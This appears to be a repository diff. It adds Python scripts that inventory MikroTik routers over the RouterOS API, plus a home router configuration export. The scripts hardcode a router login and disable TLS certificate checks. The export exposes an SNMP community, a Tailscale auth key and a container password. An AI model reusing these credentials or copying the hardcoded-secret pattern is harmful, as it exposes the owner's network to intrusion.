for arp in arp_table:
hostname = arp.get('interface', '')
mac = arp.get('mac-address', '')
ip = arp.get('address', '')
if is_likely_ap(hostname, mac, ''):
# Check if already in list
if not any(ap['mac'] == mac for ap in access_points):
ap_info = {
'name': hostname or mac,
'ip': ip,
'mac': mac,
'source': 'arp',
'interface': hostname
}
access_points.append(ap_info)
print(f" {ap_info['name']}: {ip} ({mac})")
# Print summary
print(f"\n=== Summary ===")
print(f"Found {len(access_points)} access points\n")
# Print clean list
print("=== Access Point List ===")
for ap in sorted(access_points, key=lambda x: x['ip']):
print(f"{ap['name']:<40} {ap['ip']:<15} {ap['mac']}")
# Save to file if requested
if args.output:
with open(args.output, 'w') as f:
json.dump(access_points, f, indent=2)
print(f"\nData saved to: {args.output}")
api.close()
if __name__ == '__main__':
main()

196
get_all_network_devices.py Normal file
View file

@ -0,0 +1,196 @@
#!/usr/bin/env python3
"""
Get all network devices from a MikroTik router (DHCP, ARP, interfaces)
to identify access points and other devices
"""
import ssl
import sys
import json
import argparse
from collections import defaultdict
try:
from librouteros import connect
except ImportError:
print("Error: librouteros module not found")
print("Install with: pip install librouteros")
sys.exit(1)
def connect_to_router(ip, username, password, use_ssl=True):
"""Connect to MikroTik router"""
port = 8729 if use_ssl else 8728
try:
if use_ssl:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
api = connect(
username=username,
password=password,
host=ip,
port=port,
ssl_wrapper=ctx.wrap_socket
)
else:
api = connect(
username=username,
password=password,
host=ip,
port=port
)
print(f"✓ Connected to {ip}")
return api
except Exception as e:
print(f"✗ Connection failed: {e}")
return None
def get_dhcp_leases(api):
"""Get DHCP leases"""
try:
return list(api.path('/ip/dhcp-server/lease'))
except Exception as e:
print(f"Error getting DHCP leases: {e}")
return []
def get_arp_table(api):
"""Get ARP table"""
try:
return list(api.path('/ip/arp'))
except Exception as e:
print(f"Error getting ARP table: {e}")
return []
def get_device_type(mac, hostname, comment):
"""Determine device type based on MAC prefix and other identifiers"""
if not mac:
return "Unknown"
mac_upper = mac.upper()
# Ubiquiti prefixes
ubiquiti_prefixes = ['04:18:D6', 'F0:9F:C2', '24:A4:3C', '68:72:51', '80:2A:A8', 'FC:EC:DA']
if any(mac_upper.startswith(prefix) for prefix in ubiquiti_prefixes):
# Check if it's likely an access point vs customer device
if hostname or comment:
name = (hostname or comment).lower()
if any(x in name for x in ['ap', 'access', 'bridge', 'station', 'loco', 'nano', 'powerbeam', 'rocket']):
return "Ubiquiti AP"
return "Ubiquiti Device"
# MikroTik prefixes
mikrotik_prefixes = ['00:0C:42', '4C:5E:0C', '6C:3B:6B', 'D4:CA:6D', 'E4:8D:8C', 'DC:2C:6E', 'B8:69:F4', '48:8F:5A']
if any(mac_upper.startswith(prefix) for prefix in mikrotik_prefixes):
if hostname or comment:
name = (hostname or comment).lower()
if any(x in name for x in ['ap', 'cap', 'hap', 'wap', 'sxt', 'lhg']):
return "MikroTik AP"
return "MikroTik Device"
return "Other Device"
def main():
parser = argparse.ArgumentParser(description='Get all network devices from MikroTik router')
parser.add_argument('router_ip', help='Router IP address')
parser.add_argument('-u', '--username', default='grahamro', help='Username (default: grahamro)')
parser.add_argument('-p', '--password', default='cFKhz8q5gPLoucMbcT1Iy58r3IXgc3', help='Password')
parser.add_argument('-o', '--output', help='Output file (JSON)')
parser.add_argument('--no-ssl', action='store_true', help='Use plain API instead of API-SSL')
parser.add_argument('--show-all', action='store_true', help='Show all devices, not just likely APs')
args = parser.parse_args()
api = connect_to_router(args.router_ip, args.username, args.password, not args.no_ssl)
if not api:
sys.exit(1)
print("\n=== Retrieving Network Device Information ===\n")
dhcp_leases = get_dhcp_leases(api)
arp_table = get_arp_table(api)
# Merge data by MAC address
devices = defaultdict(lambda: {
'ip': '',
'mac': '',
'hostname': '',
'comment': '',
'status': '',
'type': 'Unknown',
'server': '',
'interface': ''
})
# Process DHCP leases
for lease in dhcp_leases:
mac = lease.get('mac-address', '')
if mac:
dev = devices[mac]
dev['mac'] = mac
dev['ip'] = lease.get('address', dev['ip'])
dev['hostname'] = lease.get('host-name', dev['hostname'])
dev['comment'] = lease.get('comment', dev['comment'])
dev['status'] = lease.get('status', dev['status'])
dev['server'] = lease.get('server', dev['server'])
# Process ARP table
for arp in arp_table:
mac = arp.get('mac-address', '')
if mac:
dev = devices[mac]
dev['mac'] = mac
if not dev['ip']:
dev['ip'] = arp.get('address', '')
if not dev['interface']:
dev['interface'] = arp.get('interface', '')
# Determine device types
for mac, dev in devices.items():
dev['type'] = get_device_type(mac, dev['hostname'], dev['comment'])
# Group by type
by_type = defaultdict(list)
for dev in devices.values():
by_type[dev['type']].append(dev)
# Display results
print("=== Network Devices by Type ===\n")
for device_type in ['Ubiquiti AP', 'MikroTik AP', 'Ubiquiti Device', 'MikroTik Device', 'Other Device']:
if device_type in by_type:
devices_of_type = sorted(by_type[device_type], key=lambda x: x['ip'])
if not args.show_all and device_type == 'Other Device':
print(f"\n{device_type}s: {len(devices_of_type)} (use --show-all to display)")
continue
print(f"\n{device_type}s: {len(devices_of_type)}")
print("-" * 100)
for dev in devices_of_type:
name = dev['hostname'] or dev['comment'] or dev['mac']
print(f" {name:<35} {dev['ip']:<15} {dev['mac']:<17} {dev['interface']:<20}")
if dev['comment'] and dev['comment'] != name:
print(f" Comment: {dev['comment']}")
# Summary
print(f"\n=== Summary ===")
print(f"Total devices found: {len(devices)}")
for device_type, devs in sorted(by_type.items()):
print(f" {device_type}: {len(devs)}")
# Save to file if requested
if args.output:
output_data = {
'router': args.router_ip,
'devices': [dev for dev in devices.values()],
'by_type': {k: v for k, v in by_type.items()}
}
with open(args.output, 'w') as f:
json.dump(output_data, f, indent=2)
print(f"\nData saved to: {args.output}")
api.close()
if __name__ == '__main__':
main()

125
get_climax_router_data.py Normal file
View file

@ -0,0 +1,125 @@
#!/usr/bin/env python3
import ssl
from librouteros import connect
from librouteros.query import Key
def get_climax_router_data():
"""Connect to Climax router and retrieve network configuration"""
# Router connection details
router_ip = '10.254.254.102'
username = 'grahamro'
password = 'cFKhz8q5gPLoucMbcT1Iy58r3IXgc3'
print(f"=== Connecting to Climax Router ({router_ip}) ===\n")
# SSL context for secure connection
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
try:
# Connect to router
api = connect(
username=username,
password=password,
host=router_ip,
port=8729,
ssl_wrapper=ctx.wrap_socket
)
print("✓ Connected successfully\n")
# Get IP addresses
print("=== IP Addresses ===")
ip_addresses = api('/ip/address/print')
subnets = []
for addr in ip_addresses:
if not addr.get('disabled', False):
address = addr['address']
interface = addr.get('interface', 'unknown')
network = addr.get('network', '')
comment = addr.get('comment', '')
print(f"Interface: {interface}")
print(f" Address: {address}")
print(f" Network: {network}")
if comment:
print(f" Comment: {comment}")
print()
subnets.append({
'address': address,
'network': network,
'interface': interface,
'comment': comment
})
# Get PPPoE servers
print("\n=== PPPoE Servers ===")
try:
pppoe_servers = api('/interface/pppoe-server/server/print')
for server in pppoe_servers:
if not server.get('disabled', False):
name = server.get('service-name', 'unnamed')
interface = server.get('interface', 'unknown')
print(f"Service: {name} on {interface}")
except:
print("No PPPoE servers found or access denied")
# Get interfaces
print("\n=== Active Interfaces ===")
interfaces = api('/interface/print')
active_interfaces = []
for iface in interfaces:
if not iface.get('disabled', False) and iface.get('running', False):
name = iface['name']
itype = iface.get('type', 'unknown')
mac = iface.get('mac-address', 'N/A')
comment = iface.get('comment', '')
active_interfaces.append({
'name': name,
'type': itype,
'mac': mac,
'comment': comment
})
print(f"{name} ({itype})")
if comment:
print(f" Comment: {comment}")
# Close connection
api.close()
print(f"\n=== Summary ===")
print(f"Found {len(subnets)} IP addresses/subnets")
print(f"Found {len(active_interfaces)} active interfaces")
# Return data for further processing
return {
'subnets': subnets,
'interfaces': active_interfaces,
'router_ip': router_ip
}
except Exception as e:
print(f"✗ Connection failed: {e}")
return None
def main():
data = get_climax_router_data()
if data:
print("\n=== Router Data Retrieved Successfully ===")
print(f"This data can be used to update NetBox with Climax router configuration")
else:
print("\n✗ Failed to retrieve router data")
if __name__ == "__main__":
main()

161
get_mikrotik_basic_data.py Normal file
View file

@ -0,0 +1,161 @@
#!/usr/bin/env python3
import ssl
import sys
import json
import argparse
from datetime import datetime
try:
from librouteros import connect
from librouteros.query import Key
except ImportError:
print("Error: librouteros module not found")
print("Install with: pip install librouteros")
sys.exit(1)
def get_router_basic_data(host, username='grahamro', password='cFKhz8q5gPLoucMbcT1Iy58r3IXgc3', port=8729):
"""
Get basic router configuration data (simplified for older RouterOS)
Args:
host: IP address or hostname of the router
username: Router username
password: Router password
port: API-SSL port (default: 8729)
Returns:
Dictionary containing basic router configuration
"""
print(f"=== Connecting to MikroTik Router ({host}) ===\n")
# SSL context for secure connection
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
try:
# Connect to router
api = connect(
username=username,
password=password,
host=host,
port=port,
ssl_wrapper=ctx.wrap_socket
)
print("✓ Connected successfully\n")
# Get unique subnets only (skip individual CGNAT IPs)
print("=== IP Addresses (Unique Subnets) ===")
ip_addresses = api('/ip/address/print')
# Group by network to handle CGNAT blocks
networks_seen = {}
subnets = []
for addr in ip_addresses:
if not addr.get('disabled', False):
address = addr['address']
interface = addr.get('interface', 'unknown')
network = addr.get('network', '')
# For CGNAT interface, only keep one representative
if interface == 'cgnat':
if network not in networks_seen:
networks_seen[network] = True
print(f"CGNAT Network: {network}/25 (multiple IPs)")
subnets.append({
'address': f"{network}/25",
'network': network,
'interface': interface,
'comment': 'CGNAT pool'
})
else:
# Regular interfaces
print(f"Interface: {interface}")
print(f" Address: {address}")
print(f" Network: {network}")
print()
subnets.append({
'address': address,
'network': network,
'interface': interface,
'comment': ''
})
# Get key interfaces only
print("\n=== Key Interfaces ===")
interfaces = api('/interface/print')
active_interfaces = []
# Focus on non-dynamic interfaces
for iface in interfaces:
if not iface.get('disabled', False) and iface.get('running', False):
name = iface['name']
itype = iface.get('type', 'unknown')
# Skip PPPoE client interfaces
if not name.startswith('<'):
active_interfaces.append({
'name': name,
'type': itype
})
print(f"{name} ({itype})")
# Close connection
api.close()
# Compile basic data
router_data = {
'host': host,
'timestamp': datetime.now().isoformat(),
'subnets': subnets,
'interfaces': active_interfaces
}
print(f"\n=== Summary ===")
print(f"Found {len(subnets)} unique subnets")
print(f"Found {len(active_interfaces)} active interfaces")
return router_data
except Exception as e:
print(f"✗ Connection failed: {e}")
return None
def main():
parser = argparse.ArgumentParser(description='Retrieve basic configuration from a MikroTik router')
parser.add_argument('host', help='IP address or hostname of the router')
parser.add_argument('--username', '-u', default='grahamro', help='Router username')
parser.add_argument('--password', '-p', default='cFKhz8q5gPLoucMbcT1Iy58r3IXgc3', help='Router password')
parser.add_argument('--port', type=int, default=8729, help='API-SSL port (default: 8729)')
parser.add_argument('--output', '-o', help='Output filename')
args = parser.parse_args()
# Get router data
data = get_router_basic_data(args.host, args.username, args.password, args.port)
if data:
if args.output:
with open(args.output, 'w') as f:
json.dump(data, f, indent=2)
print(f"\nData saved to: {args.output}")
else:
print("\n=== JSON Output ===")
print(json.dumps(data, indent=2))
print("\n✓ Router data retrieved successfully")
return 0
else:
print("\n✗ Failed to retrieve router data")
return 1
if __name__ == "__main__":
sys.exit(main())

View file

@ -0,0 +1,207 @@
#!/usr/bin/env python3
import ssl
import sys
import argparse
from datetime import datetime
try:
from librouteros import connect
except ImportError:
print("Error: librouteros module not found")
print("Install with: pip install librouteros")
sys.exit(1)
def get_router_config(host, username='grahamro', password='cFKhz8q5gPLoucMbcT1Iy58r3IXgc3', port=8729):
"""
Get full router configuration export
Args:
host: IP address or hostname of the router
username: Router username
password: Router password
port: API-SSL port (default: 8729)
Returns:
Configuration export string
"""
print(f"=== Connecting to MikroTik Router ({host}) ===\n")
# SSL context for secure connection
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
try:
# Connect to router
api = connect(
username=username,
password=password,
host=host,
port=port,
ssl_wrapper=ctx.wrap_socket
)
print("✓ Connected successfully\n")
print("Exporting configuration...")
# Get router identity first
try:
identity_data = api('/system/identity/print')
if identity_data:
identity = identity_data[0].get('name', 'router')
print(f"Router identity: {identity}")
except:
identity = 'router'
# Export configuration
# Note: /export returns the config in a specific format
try:
# For RouterOS API, we need to get specific sections
config_sections = []
# Get IP addresses
print("\nGetting IP configuration...")
ip_addresses = api('/ip/address/print')
# Get IP pools
print("Getting IP pools...")
try:
ip_pools = api('/ip/pool/print')
except:
ip_pools = []
# Get PPPoE servers
print("Getting PPPoE servers...")
try:
pppoe_servers = api('/interface/pppoe-server/server/print')
except:
pppoe_servers = []
# Get PPP profiles
print("Getting PPP profiles...")
try:
ppp_profiles = api('/ppp/profile/print')
except:
ppp_profiles = []
# Get firewall NAT rules
print("Getting NAT rules...")
try:
nat_rules = api('/ip/firewall/nat/print')
except:
nat_rules = []
# Get DHCP servers
print("Getting DHCP configuration...")
try:
dhcp_servers = api('/ip/dhcp-server/print')
dhcp_networks = api('/ip/dhcp-server/network/print')
except:
dhcp_servers = []
dhcp_networks = []
# Build configuration summary
config = f"# Configuration for {identity} ({host})\n"
config += f"# Exported on {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n\n"
# IP Addresses
config += "# IP Addresses\n"
for addr in ip_addresses:
if not addr.get('disabled', False) and not addr.get('dynamic', False):
config += f"/ip address add address={addr['address']} interface={addr.get('interface', '')} "
if addr.get('comment'):
config += f"comment=\"{addr['comment']}\""
config += "\n"
# IP Pools
if ip_pools:
config += "\n# IP Pools\n"
for pool in ip_pools:
config += f"/ip pool add name={pool['name']} ranges={pool.get('ranges', '')}\n"
# PPPoE configuration
if pppoe_servers:
config += "\n# PPPoE Servers\n"
for server in pppoe_servers:
if not server.get('disabled', False):
config += f"/interface pppoe-server server add name={server.get('service-name', '')} "
config += f"interface={server.get('interface', '')} "
if server.get('default-profile'):
config += f"default-profile={server['default-profile']} "
config += "\n"
# PPP Profiles
if ppp_profiles:
config += "\n# PPP Profiles\n"
for profile in ppp_profiles:
if profile['name'] != 'default' and profile['name'] != 'default-encryption':
config += f"/ppp profile add name={profile['name']} "
if profile.get('local-address'):
config += f"local-address={profile['local-address']} "
if profile.get('remote-address'):
config += f"remote-address={profile['remote-address']} "
config += "\n"
# NAT rules
if nat_rules:
config += "\n# NAT Rules\n"
for rule in nat_rules:
if not rule.get('disabled', False):
config += f"/ip firewall nat add chain={rule.get('chain', '')} "
if rule.get('src-address'):
config += f"src-address={rule['src-address']} "
if rule.get('dst-address'):
config += f"dst-address={rule['dst-address']} "
if rule.get('action'):
config += f"action={rule['action']} "
if rule.get('to-addresses'):
config += f"to-addresses={rule['to-addresses']} "
config += "\n"
# Close connection
api.close()
return config
except Exception as e:
print(f"Error getting configuration: {e}")
api.close()
return None
except Exception as e:
print(f"✗ Connection failed: {e}")
return None
def main():
parser = argparse.ArgumentParser(description='Export configuration from a MikroTik router')
parser.add_argument('host', help='IP address or hostname of the router')
parser.add_argument('--username', '-u', default='grahamro', help='Router username')
parser.add_argument('--password', '-p', default='cFKhz8q5gPLoucMbcT1Iy58r3IXgc3', help='Router password')
parser.add_argument('--port', type=int, default=8729, help='API-SSL port (default: 8729)')
parser.add_argument('--output', '-o', help='Output filename')
args = parser.parse_args()
# Get router config
config = get_router_config(args.host, args.username, args.password, args.port)
if config:
if args.output:
with open(args.output, 'w') as f:
f.write(config)
print(f"\n✓ Configuration exported to: {args.output}")
else:
print("\n=== Configuration Export ===")
print(config)
return 0
else:
print("\n✗ Failed to export configuration")
return 1
if __name__ == "__main__":
sys.exit(main())

259
get_mikrotik_router_data.py Normal file
View file

@ -0,0 +1,259 @@
#!/usr/bin/env python3
import ssl
import sys
import json
import argparse
from datetime import datetime
try:
from librouteros import connect
from librouteros.query import Key
except ImportError:
print("Error: librouteros module not found")
print("Install with: pip install librouteros")
sys.exit(1)
def get_router_data(host, username='grahamro', password='cFKhz8q5gPLoucMbcT1Iy58r3IXgc3', port=8729):
"""
Connect to a MikroTik router and retrieve network configuration
Args:
host: IP address or hostname of the router
username: Router username (default: grahamro)
password: Router password
port: API-SSL port (default: 8729)
Returns:
Dictionary containing router configuration data
"""
print(f"=== Connecting to MikroTik Router ({host}) ===\n")
# SSL context for secure connection
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
try:
# Connect to router
api = connect(
username=username,
password=password,
host=host,
port=port,
ssl_wrapper=ctx.wrap_socket
)
print("✓ Connected successfully\n")
# Get router identity
identity = None
try:
identity_data = api('/system/identity/print')
if identity_data:
identity = identity_data[0].get('name', 'Unknown')
print(f"Router Identity: {identity}\n")
except:
print("Could not retrieve router identity\n")
# Get IP addresses
print("=== IP Addresses ===")
ip_addresses = api('/ip/address/print')
subnets = []
for addr in ip_addresses:
if not addr.get('disabled', False):
address = addr['address']
interface = addr.get('interface', 'unknown')
network = addr.get('network', '')
comment = addr.get('comment', '')
dynamic = addr.get('dynamic', False)
print(f"Interface: {interface}")
print(f" Address: {address}")
print(f" Network: {network}")
if comment:
print(f" Comment: {comment}")
if dynamic:
print(f" Dynamic: Yes")
print()
subnets.append({
'address': address,
'network': network,
'interface': interface,
'comment': comment,
'dynamic': dynamic
})
# Get interfaces
print("\n=== Active Interfaces ===")
interfaces = api('/interface/print')
active_interfaces = []
for iface in interfaces:
if not iface.get('disabled', False) and iface.get('running', False):
name = iface['name']
itype = iface.get('type', 'unknown')
mac = iface.get('mac-address', 'N/A')
comment = iface.get('comment', '')
mtu = iface.get('mtu', 'default')
active_interfaces.append({
'name': name,
'type': itype,
'mac': mac,
'comment': comment,
'mtu': mtu
})
print(f"{name} ({itype})")
if comment:
print(f" Comment: {comment}")
if mac != 'N/A':
print(f" MAC: {mac}")
# Get VLANs
print("\n\n=== VLANs ===")
vlans = []
try:
vlan_interfaces = api('/interface/vlan/print')
for vlan in vlan_interfaces:
if not vlan.get('disabled', False):
name = vlan['name']
vlan_id = vlan.get('vlan-id', 'unknown')
interface = vlan.get('interface', 'unknown')
vlans.append({
'name': name,
'vlan_id': vlan_id,
'interface': interface
})
print(f"{name}: VLAN {vlan_id} on {interface}")
except:
print("No VLANs found or access denied")
# Get PPPoE servers
print("\n\n=== PPPoE Servers ===")
pppoe_servers = []
try:
servers = api('/interface/pppoe-server/server/print')
for server in servers:
if not server.get('disabled', False):
name = server.get('service-name', 'unnamed')
interface = server.get('interface', 'unknown')
pppoe_servers.append({
'service_name': name,
'interface': interface
})
print(f"Service: {name} on {interface}")
except:
print("No PPPoE servers found or access denied")
# Get static routes
print("\n\n=== Static Routes ===")
routes = []
try:
static_routes = api('/ip/route/print')
for route in static_routes:
if not route.get('dynamic', False) and not route.get('disabled', False):
dst = route.get('dst-address', '')
gateway = route.get('gateway', '')
distance = route.get('distance', '')
comment = route.get('comment', '')
if dst != '0.0.0.0/0': # Skip default route for brevity
routes.append({
'destination': dst,
'gateway': gateway,
'distance': distance,
'comment': comment
})
print(f"{dst} via {gateway}")
if comment:
print(f" Comment: {comment}")
except:
print("Could not retrieve routes")
# Close connection
api.close()
# Compile all data
router_data = {
'host': host,
'identity': identity,
'timestamp': datetime.now().isoformat(),
'subnets': subnets,
'interfaces': active_interfaces,
'vlans': vlans,
'pppoe_servers': pppoe_servers,
'routes': routes
}
print(f"\n\n=== Summary ===")
print(f"Router: {identity or host}")
print(f"Found {len(subnets)} IP addresses/subnets")
print(f"Found {len(active_interfaces)} active interfaces")
print(f"Found {len(vlans)} VLANs")
print(f"Found {len(pppoe_servers)} PPPoE servers")
print(f"Found {len(routes)} static routes")
return router_data
except Exception as e:
print(f"✗ Connection failed: {e}")
return None
def save_router_data(data, filename=None):
"""Save router data to a JSON file"""
if not filename:
# Generate filename based on router identity or IP
identity = data.get('identity') or data.get('host', 'router')
identity_clean = identity.replace(' ', '_').replace('/', '_').replace('.', '_')
filename = f"router_data_{identity_clean}_{datetime.now().strftime('%Y%m%d_%H%M%S')}.json"
with open(filename, 'w') as f:
json.dump(data, f, indent=2)
print(f"\nData saved to: {filename}")
return filename
def main():
parser = argparse.ArgumentParser(description='Retrieve configuration from a MikroTik router')
parser.add_argument('host', help='IP address or hostname of the router')
parser.add_argument('--username', '-u', default='grahamro', help='Router username (default: grahamro)')
parser.add_argument('--password', '-p', default='cFKhz8q5gPLoucMbcT1Iy58r3IXgc3', help='Router password')
parser.add_argument('--port', type=int, default=8729, help='API-SSL port (default: 8729)')
parser.add_argument('--output', '-o', help='Output filename (default: auto-generated)')
parser.add_argument('--json', action='store_true', help='Output raw JSON to stdout')
args = parser.parse_args()
# Get router data
data = get_router_data(args.host, args.username, args.password, args.port)
if data:
if args.json:
# Output JSON to stdout
print("\n=== JSON Output ===")
print(json.dumps(data, indent=2))
else:
# Save to file
save_router_data(data, args.output)
print("\n✓ Router data retrieved successfully")
else:
print("\n✗ Failed to retrieve router data")
return 1
return 0
if __name__ == "__main__":
sys.exit(main())

493
home.rsc Normal file
View file

@ -0,0 +1,493 @@
# 2026-04-18 12:49:26 by RouterOS 7.22.1
# software id = ZGNY-ZJW7
#
# model = RB5009UG+S+
# serial number = HC907QQ15FR
/interface bridge
add admin-mac=74:4D:28:1A:67:0A auto-mac=no comment=defconf mtu=1500 name=\
bridge port-cost-mode=short
add name=containers
add mtu=1500 name=docker port-cost-mode=short
add mtu=1500 name=dockers port-cost-mode=short
add disabled=yes mtu=1500 name=public
/interface ethernet
set [ find default-name=ether1 ] l2mtu=9578
set [ find default-name=ether2 ] l2mtu=9578
set [ find default-name=ether3 ] l2mtu=9578 name=ether3-servers
set [ find default-name=ether4 ] l2mtu=9578 name=ether4-house-60g
set [ find default-name=ether5 ] l2mtu=9578 name=ether5-vntx-static
set [ find default-name=ether6 ] l2mtu=9578 name=ether6-tmobile
set [ find default-name=ether7 ] l2mtu=9578 name=ether7-starlink
set [ find default-name=ether8 ] disabled=yes l2mtu=9578
set [ find default-name=sfp-sfpplus1 ] l2mtu=9586
/interface pppoe-client
add interface=ether8 max-mtu=1500 name=pppoe-out1 use-peer-dns=yes user=\
grahammcintire
/interface veth
add address=172.17.0.2/16 container-mac-address=4C:B3:A4:3A:BC:FF dhcp=no \
gateway=172.17.0.1 gateway6="" mac-address=4C:B3:A4:3A:BC:FE name=veth1
/interface list
add comment=defconf name=WAN
add comment=defconf name=LAN
/interface wireless security-profiles
set [ find default=yes ] supplicant-identity=MikroTik
/ip pool
add name=home ranges=10.0.17.1-10.0.18.249
add name=dhcp_pool1 ranges=10.0.8.1-10.0.14.254
/ip dhcp-server
add add-arp=yes address-pool=home bootp-lease-time=lease-time bootp-support=\
dynamic interface=bridge lease-time=8h name=server1
add address-pool=dhcp_pool1 interface=ether3-servers name=servers
/ipv6 pool
add name=tunnerbroker prefix=2001:470:ba50::/48 prefix-length=48
/port
set 0 baud-rate=9600
/interface ppp-client
add apn=internet name=ppp-out1 port=usb1
/queue type
set 0 kind=fq-codel
/routing table
add disabled=no fib name=vntx
add disabled=no fib name=tmo
/snmp community
set [ find default=yes ] addresses=10.0.16.0/22,10.0.0.0/8,204.110.188.0/22 \
name=kdyyJrT0Mm
add addresses=::/0 authentication-protocol=SHA1 encryption-protocol=AES name=\
testtest security=private
add addresses=10.0.16.0/22 name=testlocal
/system script
add dont-require-permissions=no name=api-ssl-certgen owner=admin policy=\
ftp,reboot,read,write,policy,test,password,sniff,sensitive,romon source=":\
local hostname \"router.example.com\"; :local caName \"local-ca\"; :local \
certName \"api-ssl-cert\"; :local sanList (\"DNS:\" . \$hostname); :foreac\
h i in=[/ip/address find] do={ :local addr [/ip/address get \$i address]; \
:set addr [:pick \$addr 0 [:find \$addr \"/\"]]; :set sanList (\$sanList .\
\_\",IP:\" . \$addr); }; /certificate add name=\$caName common-name=\$caNa\
me key-usage=key-cert-sign,crl-sign days-valid=3650; /certificate sign \$c\
aName; /certificate add name=\$certName common-name=\$hostname subject-alt\
-name=\$sanList key-usage=digital-signature,key-encipherment,tls-server da\
ys-valid=825; /certificate sign \$certName ca=\$caName; /certificate set \
\$certName trusted=yes; /ip/service set api-ssl certificate=\$certName dis\
abled=no; /ip/service set api disabled=yes;"
/container
add envlists=tailscale interface=veth1 layer-dir="" name=\
tailscale-mikrotik:latest remote-image=\
fluent-networks/tailscale-mikrotik:latest root-dir=\
/disk1/containers/tailscale start-on-boot=yes workdir=/
/container config
set registry-url=https://ghcr.io tmpdir=/disk1/pull
/container envs
add key=ADVERTISE_ROUTES list=tailscale value=10.0.8.0/22,10.0.16.0/22
add key=AUTH_KEY list=tailscale value=\
tskey-auth-k9B9aH7Cyk11CNTRL-yYzpiX8XThCFiVV3pVMthCUKfN8wKTjBD
add key=CONTAINER_GATEWAY list=tailscale value=172.17.0.1
add key=PASSWORD list=tailscale value=h8xd9tkryg
add key=RUNNING_SCRIPT list=tailscale value=/var/lib/tailscale/running.sh
add key=STARTUP_SCRIPT list=tailscale value=/var/lib/tailscale/startup.sh
add key=TAILSCALE_ARGS list=tailscale value=\
"--accept-routes --advertise-exit-node"
add key=UPDATE_TAILSCALE list=tailscale value=""
/container mounts
add dst=/var/lib/tailscale list=tailscale src=/tailscale
/ip smb
set enabled=no
/interface bridge port
add bridge=bridge comment=defconf ingress-filtering=no interface=\
ether4-house-60g internal-path-cost=10 path-cost=10
add bridge=bridge comment=defconf ingress-filtering=no interface=sfp-sfpplus1 \
internal-path-cost=10 path-cost=10
add bridge=dockers interface=veth1
/interface detect-internet
set detect-interface-list=all internet-interface-list=all lan-interface-list=\
LAN wan-interface-list=WAN
/interface list member
add comment=defconf interface=bridge list=LAN
add interface=ether5-vntx-static list=WAN
add interface=ether6-tmobile list=WAN
add disabled=yes interface=ether8 list=WAN
add interface=ether7-starlink list=WAN
add interface=*14 list=WAN
/interface ovpn-server server
add mac-address=FE:1C:5C:10:15:58 name=ovpn-server1
/ip address
add address=10.0.16.254/24 interface=bridge network=10.0.16.0
add address=172.17.0.1/16 interface=dockers network=172.17.0.0
add address=204.110.191.1/27 interface=ether5-vntx-static network=\
204.110.191.0
add address=10.0.19.254/22 interface=bridge network=10.0.16.0
add address=10.99.1.1/24 interface=*16 network=10.99.1.0
add address=10.0.101.253/24 disabled=yes interface=ether4-house-60g network=\
10.0.101.0
add address=10.0.15.254/21 interface=ether3-servers network=10.0.8.0
/ip dhcp-client
add add-default-route=no interface=ether6-tmobile name=client1 use-peer-dns=\
no use-peer-ntp=no
# Interface not active
add add-default-route=no interface=ether7-starlink name=client2 use-peer-dns=\
no use-peer-ntp=no
/ip dhcp-server lease
add address=10.0.16.2 client-id=\
ff:85:d2:82:8a:0:2:0:0:ab:11:cb:63:d8:6c:a1:65:c1:58 comment=unifi \
mac-address=74:83:C2:1D:4C:51 server=server1
add address=10.0.16.251 client-id=1:34:98:b5:ae:bc:e3 mac-address=\
34:98:B5:AE:BC:E3 server=server1
add address=10.0.16.1 client-id=1:c8:7f:54:d0:4:2f mac-address=\
C8:7F:54:D0:04:2F server=server1
add address=10.0.19.250 client-id=\
ff:11:94:ec:20:0:1:0:1:2d:e2:38:27:bc:24:11:94:ec:20 mac-address=\
BC:24:11:94:EC:20 server=server1
add address=10.0.16.4 client-id=\
ff:d8:d6:53:a5:0:2:0:0:ab:11:d0:cc:22:d6:96:fe:cd:b1 comment=g.vntx.net \
mac-address=8C:AE:4C:DD:84:92 server=server1
add address=10.0.19.136 client-id=1:38:b4:d3:30:3f:4 comment=dishwasher \
mac-address=38:B4:D3:30:3F:04 server=server1
add address=10.0.19.225 client-id=1:2c:cf:67:d:b9:4c mac-address=\
2C:CF:67:0D:B9:4C server=server1
add address=10.0.18.4 client-id=1:48:da:35:6f:86:a3 comment=nanokvm \
mac-address=48:DA:35:6F:86:A3 server=server1
add address=10.0.18.228 client-id=1:e0:63:da:0:70:89 mac-address=\
E0:63:DA:00:70:89 server=server1
add address=10.0.17.189 client-id=1:c4:e7:ae:17:6d:d3 mac-address=\
C4:E7:AE:17:6D:D3 server=server1
add address=10.0.15.1 client-id=1:bc:24:11:9b:48:92 mac-address=\
BC:24:11:9B:48:92 server=servers
add address=10.0.15.2 client-id=1:bc:24:11:62:7b:3f mac-address=\
BC:24:11:62:7B:3F server=servers
add address=10.0.15.3 client-id=1:bc:24:11:d4:2f:ed mac-address=\
BC:24:11:D4:2F:ED server=servers
add address=10.0.15.4 client-id=1:bc:24:11:43:3f:ff mac-address=\
BC:24:11:43:3F:FF server=servers
add address=10.0.15.5 client-id=1:bc:24:11:62:c4:8f mac-address=\
BC:24:11:62:C4:8F server=servers
add address=10.0.15.6 client-id=1:bc:24:11:3f:8e:1a mac-address=\
BC:24:11:3F:8E:1A server=servers
add address=10.0.15.20 client-id=1:2c:cf:67:d:b9:4c mac-address=\
2C:CF:67:0D:B9:4C server=servers
add address=10.0.15.253 client-id=1:78:9a:18:3f:cb:fe mac-address=\
78:9A:18:3F:CB:FE server=servers
add address=10.0.19.241 client-id=1:f4:92:bf:91:8a:61 mac-address=\
F4:92:BF:91:8A:61 server=server1
add address=10.0.15.21 mac-address=BC:24:11:98:1C:19 server=servers
add address=10.0.17.185 client-id=1:74:4d:bd:c5:87:cc mac-address=\
74:4D:BD:C5:87:CC server=server1
add address=10.0.17.17 client-id=1:f0:24:f9:55:b8:94 mac-address=\
F0:24:F9:55:B8:94 server=server1
add address=10.0.17.184 mac-address=50:02:91:38:EB:98 server=server1
add address=10.0.16.3 client-id=1:52:54:0:5c:f7:36 mac-address=\
52:54:00:5C:F7:36 server=server1
add address=10.0.17.25 client-id=1:20:f8:3b:9:49:cd mac-address=\
20:F8:3B:09:49:CD server=server1
